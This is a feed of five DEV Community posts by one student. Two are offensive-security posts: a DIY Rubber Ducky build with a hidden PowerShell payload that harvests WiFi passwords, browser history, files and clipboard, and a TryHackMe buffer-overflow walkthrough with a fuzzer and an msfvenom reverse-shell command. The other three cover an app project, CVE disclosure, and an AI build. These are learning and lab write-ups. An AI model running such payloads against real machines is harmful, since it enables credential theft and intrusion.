DEV Community: KRRISH JAGBANDHU

I Built a Telegram-Inspired Messaging App Out of Boredom — Meet IGram

KRRISH JAGBANDHU — Thu, 25 Jun 2026 00:24:13 +0000

Sometimes, the best ideas come when you least expect them — like at 2 AM, scrolling through social media with nothing exciting to do. That’s exactly how IGram, my latest side project, came to life. No grand plans, no investors, no pressure — just a spark of curiosity and a desire to build something fun.

In this post, I’ll share the story of how IGram started, what it is, the challenges I faced, and what I learned along the way. If you’ve ever wondered what it’s like to build a messaging app from scratch or are just curious about side projects, this one’s for you.

HOW IT BEGAN
_**A few days ago, stuck in an endless social media scroll loop, I suddenly thought, “Why not build my own messaging app?” Not to compete with the giants like Telegram or WhatsApp, and certainly not because I had a startup idea or funding. Simply because I wanted to see how far I could take it.

That spontaneous idea turned into IGram, a project born purely out of boredom and a hunger to learn.

What Is IGram?
IGram is a modern messaging app inspired by platforms like Telegram and Discord. But it’s not a clone. Instead, it’s designed to feel fast, smooth, and enjoyable—an experience I wanted to craft from the ground up.

It’s my personal challenge and learning experiment, built solo and fueled by the excitement of creating something new.

Features You’ll Find in IGram
Even though it started as a simple idea, IGram has grown to include a solid set of features:

One-to-one messaging
Group conversations
Channel support
Message reactions, editing, and deletion
Reply and message forwarding
Search functionality
Dark and light themes
Responsive design and mobile-friendly layout
User profiles and modern UI animations
Every feature is designed to keep the app feeling smooth and responsive, because the user experience matters just as much as the functionality.

The Biggest Challenge: User Experience
Surprisingly, writing the code wasn’t the toughest part—it was designing how everything flows and feels. Modern messaging apps look simple, but beneath the surface, there’s a maze of small details to get right:

Chat states and read receipts
Message reactions and typing indicators
Search interactions and responsive layouts
Performance optimizations
Each tiny feature adds layers of complexity, and balancing them all was a rewarding puzzle.

Lessons Learned
Building IGram didn’t just produce a cool app—it taught me some valuable lessons:

UI Matters More Than You Think
A well-timed animation or transition can make the app feel polished and responsive, which users notice instantly.
Messaging Apps Are Surprisingly Complex
Even a basic chat app involves managing massive state and diverse user interactions behind the scenes.
Side Projects Are Incredibly Powerful
Nothing beats hands-on building when it comes to learning. Tutorials are great, but creating something yourself is where real growth happens.

What’s Next for IGram?
Right now, IGram is still experimental. But I have big ideas for the future:

Real-time messaging
Voice messages and video calling
End-to-end encryption
Improved file sharing
Better notification systems
Progressive Web App support
Whether I take IGram further or leave it as a fun experiment, it’s already been an amazing experience that sharpened my skills.

Final Thoughts
IGram started with no roadmap, no funding, and no expectations—just boredom and curiosity. Sometimes, the best projects aren’t the ones meticulously planned, but the ones sparked by the simple desire to create.

If you check out IGram and have any feedback or ideas, I’d love to hear from you. After all, sharing and improving together is what makes building even more rewarding.

\
i1gram.netlify.app
go through it once everyone im really looking forward to get some suggestions

Happy coding 🚀

I Built a $3 Rubber Ducky

KRRISH JAGBANDHU — Thu, 25 Jun 2026 00:17:26 +0000

If you've ever watched a hacker movie and seen someone plug in a USB and own a machine in seconds — that's not Hollywood magic. That's a Rubber Ducky. And I built one for under ₹150.
Here's exactly how I did it, what it taught me, and why every security student should build one.

What Even Is a Rubber Ducky?
A Rubber Ducky is a USB device that pretends to be a keyboard. The moment you plug it in, the operating system trusts it completely — because keyboards don't need driver approvals or admin permissions.
Once trusted, it starts "typing" pre-programmed commands at superhuman speed. We're talking 1000 keystrokes per second. By the time you blink, it's already opened PowerShell, run a script, and closed the window.
The original Hak5 Rubber Ducky costs around $80. I built mine for ₹150.

What I Used

DigiSpark ATtiny85 — ₹120–150 on Amazon India
Arduino IDE — free
A Windows test machine (my own laptop)
15 minutes

That's it. No soldering. No special skills. Just a tiny microcontroller the size of a thumb.

Setting It Up
Step 1 — Install Arduino IDE
Download from arduino.cc and install normally.
Step 2 — Add DigiSpark Board Support
Go to File → Preferences and paste this into Additional Board Manager URLs:
http://digistump.com/package_digistump_index.json
Then go to Tools → Board → Board Manager, search Digistump and install.
Step 3 — Install Drivers
DigiSpark needs Micronucleus drivers on Windows. Download from the official Digistump GitHub and run the installer.
Step 4 — Write Your First Payload
This opens Notepad and types a message — my first ever "attack":
cpp#include "DigiKeyboard.h"

void setup() {
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // Win+R
DigiKeyboard.delay(500);
DigiKeyboard.print("notepad");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.print("Hello. Your keyboard is now mine.");
}

void loop() {}
Upload it, plug in the DigiSpark, and watch it type on its own. That moment hits different when you see it for the first time.

Building the Recon Payload
After the basics, I built a full recon payload for my own machine. The goal — simulate what an attacker could collect from a single physical access moment.
Here's what it collects in under 10 seconds:
WhatCommand UsedSystem info, OS, patchessysteminfoCurrent user + privilegeswhoami /allNetwork config + open portsipconfig, netstatSaved WiFi passwordsnetsh wlanRunning processesGet-ProcessInstalled softwareRegistry queryLocal users and adminsGet-LocalUserRecent files (Desktop, Docs, Downloads)Get-ChildItemChrome historyDirect file copyClipboard contentsGet-Clipboard
The full PowerShell payload looks like this:
powershell$out = "$env:TEMP\recon"
New-Item -ItemType Directory -Force -Path $out | Out-Null

System info

systeminfo > "$out\sysinfo.txt"
whoami /all >> "$out\sysinfo.txt"

Network

ipconfig /all > "$out\network.txt"
netstat -ano >> "$out\network.txt"
arp -a >> "$out\network.txt"

WiFi passwords

(netsh wlan show profiles) | Select-String "All User Profile" | ForEach-Object {
$n = ($_ -split ":")[1].Trim()
$p = netsh wlan show profile name=$n key=clear
"$n : $(($p | Select-String 'Key Content').ToString().Split(':')[1].Trim())"
} > "$out\wifi.txt"

Processes & software

Get-Process | Select Name,Id,CPU | Export-Csv "$out\processes.csv" -NoTypeInformation
Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall* |
Select DisplayName,DisplayVersion | Export-Csv "$out\software.csv" -NoTypeInformation

Users

Get-LocalUser > "$out\users.txt"
Get-LocalGroupMember Administrators >> "$out\users.txt"

Recent files

Get-ChildItem "$env:USERPROFILE\Documents","$env:USERPROFILE\Desktop","$env:USERPROFILE\Downloads" `
-Recurse -ErrorAction SilentlyContinue |
Select FullName,LastWriteTime | Export-Csv "$out\recentfiles.csv" -NoTypeInformation

Chrome history

Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\History" "$out\chrome_history" -ErrorAction SilentlyContinue

Clipboard

Get-Clipboard > "$out\clipboard.txt"
Everything dumps into %TEMP%\recon. The PowerShell window runs completely hidden. No popups. No UAC prompt.

The Scary Part
This is what shook me most — it bypassed everything.

✅ Windows Defender? Didn't flag it. It's just keyboard input.
✅ Antivirus? Same. No file was "executed" in the traditional sense.
✅ Firewall? Irrelevant for local collection.

This is why physical security is not optional. Locking your screen when you step away is literally your last line of defence against this class of attack.

What I Learned

Trust is the vulnerability The OS trusts HID devices unconditionally. That trust is the attack surface. No patch will fix this — it's by design.
Speed matters A payload that takes 30 seconds is risky. One that finishes in 8 seconds is devastating. Optimising payloads taught me a lot about how Windows executes commands.
Physical access = game over Every pentesting certification says this. Building this tool made me feel it. If someone gets 10 seconds with your unlocked machine, they own it.
DuckyScript is a proper language Writing payloads made me think like an attacker — delays, error handling, silent execution, exfiltration. It's low-level but it sharpens your mindset fast.

How to Defend Against This
Since I broke it, here's how to fix it:

🔒 Lock your screen every time you step away — Win + L
🚫 Disable USB ports via Group Policy on corporate machines
🛡️ USBGuard on Linux — whitelists known devices only
📡 EDR tools that monitor new HID device registration events
🔌 Physical USB port blockers for high-security environments

What's Next
I'm upgrading to a Raspberry Pi Pico running Pico-Ducky firmware — supports full DuckyScript 3.0, faster execution, and can switch between attack and storage mode with a jumper wire.
I'll also be writing a follow-up on building a defensive monitoring script that detects new HID devices registering and alerts you in real time.

Final Thoughts
Building this tool cost me ₹150 and 15 minutes. The knowledge it gave me is worth more than any textbook chapter on physical security.
If you're learning cybersecurity — build things. Don't just read about attacks. Simulate them on your own hardware, understand why they work, then figure out how to stop them.
That's the hacker mindset.

How I Found My First CVE as a College Student (And What Most Guides Don't Tell You)

KRRISH JAGBANDHU — Sat, 18 Apr 2026 12:05:20 +0000

Everyone talks about CVEs like they're some mythical achievement reserved for seasoned professionals with 10 years of experience and a hoodie covered in conference stickers.
I'm a BCA student. I found five.
This isn't a flex post. It's the guide I wish existed when I started — because most resources out there skip the parts that actually matter.

Why I Started Bug Hunting
I was deep into TryHackMe rooms and HackTheBox machines, grinding through CTFs at 2 AM, and somewhere in between I started asking myself: is any of this real?
CTFs are fun. But they're controlled environments. Somebody built that box for you to break. The vulnerability is there, guaranteed. Real-world software doesn't come with that guarantee — but it also doesn't come with a scoreboard, a leaderboard, or a congratulations banner when you find something.
What it comes with is a CVE ID with your name on it.
That was enough motivation for me.

The Target I Picked (And Why It Matters More Than Anything Else)
Here's what no guide tells you clearly: your target selection determines everything.
Most beginners go after massive companies — Google, Facebook, Apple. They read about million-dollar bug bounties and aim there first. That's like learning to drive and immediately entering Formula 1.
My approach was different:

Open-source software with a public repo — I could read the actual code, not just probe blindly
Actively maintained but not a massive team — bugs slip through, patches take time
Software I actually used — I understood the functionality deeply, which meant I noticed when something shouldn't work the way it did

I started with smaller tools and libraries in the security and networking space. Stuff I was already using in my VAPT work. When you know how something is supposed to behave, anomalies scream at you.

The Moment I Found the Vuln
I'm not going to walk through the exact technical details of my first CVE here — that's a separate write-up. But I'll tell you what the moment felt like.
It wasn't dramatic. There was no alarm, no flashing "YOU FOUND IT" screen.
It was: wait... that shouldn't respond like that.
I sent a request. The response was wrong in a very specific way. I sent it again with a modified input. The response got more wrong. I sat back and thought for maybe five minutes before I opened Burp Suite and started documenting methodically.
The thing about real vulnerabilities is they feel like a quiet click — not an explosion. The adrenaline comes later, when you're writing the report and you realize what you're looking at.
What helped me spot it:

I had read the documentation and the source code
I was testing edge cases, not just happy paths
I kept notes on every weird behavior, even stuff that seemed minor
I was patient — I'd been poking at this target for days, not hours

The Reporting Process (The Part Nobody Romanticizes)
This is where most write-ups end. "I found it, reported it, got the CVE."
Here's what actually happens:

Write the report like your reputation depends on it — because it does. Your report needs:

Clear description of the vulnerability
Affected versions
Step-by-step reproduction (assume the person reading has 10 other reports open)
Impact assessment
Suggested fix (optional but respected)

Find the right contact. Check for a SECURITY.md in the repo. Look for a security@ email. Check their responsible disclosure policy. If none of these exist, open a private GitHub issue or DM a maintainer directly. Do NOT open a public issue.
Wait. Then wait more. My first report sat for 3 weeks without a response. I sent a polite follow-up. Another week passed. Then I got a one-line reply: "Confirmed. Working on a patch." That's it. No fanfare. Just confirmation that you weren't imagining things.
Coordinate the disclosure. Work with the maintainer on a timeline. Give them reasonable time to patch — typically 90 days is the industry standard. Don't rush them. Don't go public early. Responsible disclosure is called responsible for a reason.
CVE assignment. Once the patch is out, either the vendor or a CNA (CVE Numbering Authority) assigns the ID. Sometimes you request it yourself through MITRE. Either way, you end up with a number that lives on the internet forever.

What Changed After
Practically speaking? A lot.

My resume went from "student with certs" to "student with verified security research"
I started getting responses from recruiters who previously ignored me
My confidence in real-world testing went through the roof
I found four more CVEs because the pattern recognition you build is transferable

But the bigger thing was this: it shifted how I see software. Everything is a potential target now — not in a malicious way, but in a deeply curious way. Every feature is a decision someone made. Every decision has edge cases. Every edge case is worth poking.

What I'd Tell My Past Self

Start smaller than you think you should. Seriously. Small open-source tools. Niche libraries. Things with fewer eyes on them.
Read the code. Black-box testing is fine but white-box gives you an unfair advantage.
Document everything. Even the dead ends. You'll thank yourself later.
Be patient with maintainers. They're usually volunteers or small teams. They're not ignoring you — they're busy.
Rejection is fine. Not every report is a CVE. Some are "working as intended." Learn from those too.
The first one is the hardest. After that, you have a framework in your head and the next one comes faster.

Resources That Actually Helped Me

HackTheBox & TryHackMe — for building the baseline
PortSwigger Web Security Academy — free, brutal, excellent
CVE Details (cve.mitre.org) — study what's been found before
GitHub Code Search — your best friend for finding vulnerable patterns
Nuclei templates — understand how automated scanning works, then go beyond it

If you're a student sitting on this page wondering if someone like you can actually do this — yes. You can.
You don't need a degree in computer science. You don't need a senior title. You need curiosity, patience, and the willingness to sit with a weird behavior until it tells you what it's hiding.
The software is out there. Go find something.

I'm Krish — BCA student, CEH certified, 5x CVE researcher, and active on HackTheBox/TryHackMe. I lead my university's cybersecurity club and do VAPT work.Find me at dev.to/krrish_jagbandhu_eca8db9dShare

I Tried Building My Own AI… Here’s What Actually Happened

KRRISH JAGBANDHU — Thu, 02 Apr 2026 22:14:57 +0000

A few days ago, I decided to stop just using AI and finally try building one myself.

No full roadmap.
No perfect plan.
Just curiosity and the willingness to figure things out.

What followed was a mix of confusion, frustration, small wins, and one big realization:

Building AI is way harder—and way more rewarding—than it looks.

💡 Why I Started

I’ve been using AI tools for a while, like most developers. But at some point, I kept wondering:

How do these models actually connect?
What’s happening behind the API calls?
Can I build something like this myself?

Instead of watching another tutorial, I decided to just start building.

⚙️ The Stack (What I Used)

I kept things simple (or at least I tried to):

AI Models via API (LLMs)
A basic frontend interface
Deployment on a cloud platform (like Vercel)
Lots of trial and error 😅

Nothing fancy—but enough to build something real.

😵 The Problems I Faced

Let’s be honest: things broke. A lot.

Some of the errors I ran into:

API Error: No endpoints found for openchat/openchat
API Error: No endpoints found for mistralai/mistral-7b-instruct
API Error: No endpoints found for google/gemma-7b-it

At first, I thought I messed up everything.

Turns out:

Some models weren’t available
Some endpoints were incorrect
Some configs were just… wrong

This is the part no one talks about enough.

🧠 What I Learned (The Real Stuff)

Not All Models Are Plug-and-Play

Just because a model exists doesn’t mean you can use it instantly.
You need:

Valid endpoints
Proper API providers
Correct configurations

Debugging Is the Real Skill

Most of my time wasn’t spent building—it was spent fixing.

And that’s where the real learning happened.

Deployment Is a Different Game

Running something locally is easy.

Deploying it?
That’s where things get real:

Environment variables
API keys
Build errors
Runtime issues

You Don’t Need to Know Everything

I didn’t fully understand everything when I started.

And that’s okay.

You figure things out as you go.

🚀 The Result

After all the chaos, I finally had:

A working AI app
Live deployment
Real responses from the model

It wasn’t perfect—but it worked.

And honestly, that’s enough for version 1.

🔥 If You’re Thinking of Building AI…

Here’s my advice:

Start before you feel ready
Expect things to break
Don’t trust every tutorial blindly
Learn by doing, not just watching
💬 Final Thoughts

This wasn’t just about building AI.

It was about:

Learning how systems actually work
Dealing with failure
Staying consistent when things don’t make sense

And most importantly:

Real growth happens when you stop consuming and start creating.

If you’re building something similar or stuck somewhere, feel free to reach out—always happy to connect with fellow devs 👨‍💻

dev #ai #webdev #buildinpublic #learning #vercel

TryHackMe — Brainstorm Write-up | Buffer Overflow on Windows

KRRISH JAGBANDHU — Tue, 31 Mar 2026 22:58:58 +0000

The Beginning — First Look

It was one of those evenings where I wanted a real challenge. I'd been breezing through Medium rooms and decided it was time to sit with something uncomfortable. Brainstorm had been on my list for a while — a Hard-rated Windows box, notorious for its buffer overflow challenge. I spun up my AttackBox, took a sip of coffee, and started the machine.
First thing I always do — let Nmap do the talking.
bashnmap -sC -sV -oN brainstorm.txt
The scan came back with something interesting:

Port 21 — FTP (Anonymous login allowed!)
Port 9999 — Some kind of custom chat application
Port 3389 — RDP (Windows, as expected)

Anonymous FTP? That's always a gift. I logged in immediately.
bashftp
Inside, I found two files — chatserver.exe and essfunc.dll. I downloaded both without hesitation. This was the application running on port 9999. The devs had essentially handed me their app to reverse and exploit locally. Rookie mistake on their part, huge win for me.

The Middle — Down the Rabbit Hole
I connected to the chat server on port 9999 using Netcat just to see what I was dealing with.
bashnc 9999
A chat prompt appeared asking for a username and then a message. Simple enough on the surface. But something about an unvalidated message input on a Windows service whispered buffer overflow to me.
I set up the chatserver.exe locally on a Windows VM with Immunity Debugger and Mona.py attached. Then the real fun began.
Step 1 — Fuzzing. I wrote a quick Python fuzzer to throw increasingly large strings at the message input:
pythonimport socket, time, sys

ip = "YOUR_LOCAL_IP"
port = 9999
buffer = "A" * 100

while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.recv(1024)
s.send(b"user\r\n")
s.recv(1024)
s.send(bytes(buffer + "\r\n", "latin-1"))
s.close()
time.sleep(1)
buffer += "A" * 100
except:
print(f"Crashed at {len(buffer)} bytes")
sys.exit()

The application crashed at around 2700 bytes. Immunity Debugger showed EIP overwritten with 41414141 — classic AAAA. My pulse picked up. This was real.

Step 2 — Finding the offset. I used Metasploit's pattern tools to pinpoint exactly where EIP gets overwritten:
bashmsf-pattern_create -l 3000
msf-pattern_offset -l 3000 -q
Offset: 2012 bytes. Perfect.

Step 3 — Bad characters. Sent all characters from \x00 to \xff to find which ones corrupt the payload. After careful analysis in Immunity, I found only \x00 was a bad character. Clean exploit incoming.

Step 4 — Finding a JMP ESP. Used Mona to find a reliable jump point in essfunc.dll:
bash!mona jmp -r esp -cpb "\x00"

Got a clean address with no ASLR, no DEP. Beautiful.
Step 5 — Shellcode. Generated a reverse shell payload:
bashmsfvenom -p windows/shell_reverse_tcp LHOST= LPORT=4444 EXITFUNC=thread -b "\x00" -f py

The End — Shell Dropped
I assembled the final exploit — padding, EIP overwrite, NOP sled, shellcode — and fired it at the real target machine.
Started my listener:
bashnc -lvnp 4444


Ran the exploit. Three seconds of silence. Then:

connect to [YOUR_IP] from (UNKNOWN) [TARGET_IP]
Microsoft Windows [Version 6.1.7601]
C:\Windows\system32>
SYSTEM shell. First try.
No privilege escalation needed — the chat server was running as SYSTEM already. Sometimes the box just gives it to you once you've done the hard work.

What I Learned

Buffer overflows aren't magic — they're methodical. Fuzz → offset → bad chars → JMP ESP → shellcode. Follow the steps.
Always grab files from anonymous FTP. Devs leaving executables exposed is more common than you'd think in the real world.
Immunity Debugger + Mona.py is a combo every pentester needs in their toolkit.
Patience is the skill. This room took me 3 hours. Every minute was worth it.

Tools Used
ToolPurposeNmapReconnaissanceNetcatService interactionPythonFuzzer & exploit scriptImmunity DebuggerCrash analysisMona.pyOffset & JMP ESP findingMsfvenomShellcode generation

If you're just starting out with buffer overflows, I highly recommend Brainstorm as your first Hard room — it teaches you the full BOF methodology in one clean box.
Happy hacking. Stay ethical. 🔐